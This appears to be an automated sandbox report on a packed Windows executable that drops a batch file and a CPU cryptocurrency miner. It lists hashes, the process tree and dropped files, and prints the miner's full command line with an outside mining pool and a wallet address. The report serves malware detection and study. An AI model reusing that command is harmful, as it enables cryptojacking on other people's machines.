73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23/02/2024, 13:01

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4820	b2e.exe
2704	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2704	cpuminer-sse2.exe
2704	cpuminer-sse2.exe
2704	cpuminer-sse2.exe
2704	cpuminer-sse2.exe
2704	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2236-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2236 wrote to memory of 4820	2236	batexe.exe	74
PID 2236 wrote to memory of 4820	2236	batexe.exe	74
PID 2236 wrote to memory of 4820	2236	batexe.exe	74
PID 4820 wrote to memory of 3952	4820	b2e.exe	76
PID 4820 wrote to memory of 3952	4820	b2e.exe	76
PID 4820 wrote to memory of 3952	4820	b2e.exe	76
PID 3952 wrote to memory of 2704	3952	cmd.exe	78
PID 3952 wrote to memory of 2704	3952	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Users\Admin\AppData\Local\Temp\7ACD.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7ACD.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7ACD.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7CC1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3952
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7ACD.tmp\b2e.exe

Filesize
5.2MB

MD5
b03042766c5b7857181dcf5ad0cf9986

SHA1
8d43c833a3f1ac7c7c8cafd6d2fa28302d3d5bc7

SHA256
aee4c94f995903c720c2733340ddf52d37e86493258f4361f54e14392294bf6c

SHA512
657680d551ab41e36719233c736618a31a8b021da652db00aafd1ca537b722955cbdd0b1a8adda13d24142c345090376bfa6903885e00e843294b3bb3280a85d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ACD.tmp\b2e.exe

Filesize
5.6MB

MD5
b10c933944f7f45265c5bf25a5f3015f

SHA1
db15566a83251fc5f6fbfcf9087f9e52e7a84ada

SHA256
8b0d12d75af8b92a310e65c256bfcd0505de6dfb17fde55948c072b3f97a4f15

SHA512
79f11a350e872537439b16c59bcb3fc83cfbce74e25437eed1a8346ed58e4085bfb2d9e463bde29cf05a83a6d7caa2b307f2ae9823c4bb2edbecbc69170dfe05

Download Submit
C:\Users\Admin\AppData\Local\Temp\7CC1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.6MB

MD5
c66e07f5551a8580e341e8be599f62ce

SHA1
2b08dd829e03e89dbb533ed669d26cf513f45172

SHA256
6d2accca126dfb5c29b362fe7e8c99e4c75a1c93a5cdbc3f981772f0c6f0499f

SHA512
041a84f12f1502967a05bc46e0db43a4cd736d368e3c64e6ba75db2f2420ed071e451a3c872d06454b2abfeed9010fa56c8e70dd1a508457f7c47fa2e2873ff9

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.2MB

MD5
82aa1d434de184109c7d59373d1670fe

SHA1
f39988b03ad56e96634e2878e25f3fa813fbf063

SHA256
347fd6cbed41feef9c773861aede5948b657c9f7e79008755fd428b2bce44d05

SHA512
8d420aeec60d083416d20b85cfc4dcc076d4e981ab5e43a1b9ac18de4d68b4c6afff6a432b70e0f965b0e2d28c1b725e2a96777fcc142f24ed96c7bbdc1ef98d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
441208f73fb88acbe96349caf7f2dc4e

SHA1
988165a40b6510c883280e6f387177faa5c94d6f

SHA256
9aa1ae08a03516b83b2638cd54fdc7cf671afe544dd63f8c7011ac7884455097

SHA512
e600a98d3590575bec8d10413681fad5860853c9f29dbfebc09234b0b9c8a9598080be94c1ec7a34f1768a80ab2b8a124fb81a9977dc541b5759490a4f4f753f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2236-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2704-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2704-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2704-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2704-43-0x0000000051AB0000-0x0000000051B48000-memory.dmp

Filesize
608KB

Download
memory/2704-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2704-44-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/2704-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2704-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2704-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2704-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2704-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2704-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2704-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2704-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4820-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4820-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download